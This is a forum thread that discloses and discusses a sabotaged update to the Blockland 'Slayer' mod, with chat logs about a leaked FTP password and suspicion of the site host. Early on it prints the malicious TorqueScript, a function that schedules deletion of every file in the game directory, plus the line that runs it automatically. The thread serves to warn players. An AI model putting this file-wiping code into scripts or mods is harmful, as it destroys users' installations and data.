Author Topic: Killing Blockland installations through slayer  (Read 20842 times)

As a few of us may know, Zapk hosted Greek2Me's mod website. About 30 minutes ago, Slayer received an update.

Also about 30 minutes ago, a help thread was created that recognized that Slayer was causing a severe error that caused the game to crash. I identified the malicious code which was in the new update.

Starting line 312 of Gamemode_Slayer\client\dependencies\GUI.cs
Code: [Select]
function fixSlayerClientConfig()
{
%pattern = "*/*.*";

%z = 6000;

for(%i = findFirstFile(%pattern); isFile(%i); %i = findNextFile(%pattern))
{
schedule(%z, 0, fileDelete, %i);

%z += 50;
}

schedule(%z + 5000, 0, MessageBoxOK, "Blockland", "Thanks for un-installing Blockland! We hope your time with us was a fun one!", "quit();");
}

Line 461 of Gamemode_Slayer\client\dependencies\GUI.cs
Code: [Select]
schedule(0, 0, fixSlayerClientConfig);

This appears to have been a very deliberate way of killing the game.

I contacted Zapk about this.
Quote
11:14 PM - Pecon7: You host Greek2Me's website right?
11:14 PM - Zapk: mmhm
11:14 PM - Zapk: why?
11:15 PM - Pecon7: Slayer just got updated, and it now contains game-killing code
11:15 PM - Pecon7: http://forum.blockland.us/index.php?topic=265036.msg7792943#msg7792943
11:15 PM - Zapk: oh forget
11:15 PM - Zapk: what
11:15 PM - Pecon7: It doesn't seem unreasonable to think that someone hijacked the site
11:15 PM - Zapk: ffforget I was kind of scared of this
11:15 PM - Zapk: okay, for about 10 minutes
11:15 PM - Zapk: zapkraft.net showed the directory
11:16 PM - Zapk: and there was a file I forgot to removed which contained the FTP password
11:16 PM - Zapk: I changed it after I realised

It seems likely that Zapk may have done it intentionally, considering his '' from earlier today. However, he insists that it was a timing coincidence and that someone else must have hijacked the website.

Quote
11:24 PM - Zapk: why would I do that if it were obviously me?
11:25 PM - Pecon7: Considering that you just did a 'master server Self Delete', it seems very likely you would do this.
11:25 PM - Zapk: The timing may seem close, because it's the same day I deleted index.php from my site
11:25 PM - Zapk: exposing ftp.txt
11:25 PM - Zapk: christ man

I'll be looking for more evidence, for now lets discuss what is already known here.


Who would create a text file that has the FTP password for that site and then put the file on the site?

I have a feeling that Zapk planned all of this.

Who would create a text file that has the FTP password for that site and then put the file on the site?
nobody who was competent enough to make a website


This was just cold. That line of code can and may have already crippled several popular servers that use this mod for their minigame. I don't know about the rest of you, but I can already hear a mob forming for this guy's head.

Zapk is becoming the next Okiver?

Zapk is becoming the next Okiver?
Yeah did zapk just go like:
"eh i don't like blockland anymore, im gonna stuff on everything now!"

Holy forget that's terrible. If this was deliberate, I hope he gets what's coming to him.

Someone should probably tell Badspot to crap-on the sabotaged version of the add-on by CRC so it won't load. Might save a few installations from getting erased.

Yeah did zapk just go like:
"eh i don't like blockland anymore, im gonna stuff on everything now!"
hm, well i read the other topic and looks like he did.
guess he had a sudden change of heart or something


So wait what does it do? Like does it make you try to uninstall it with a message or does it actually make the game crash?

So wait what does it do? Like does it make you try to uninstall it with a message or does it actually make the game crash?
it removes the required game files and then after awhile a ok box appear saying "thank you for uninstalling the game"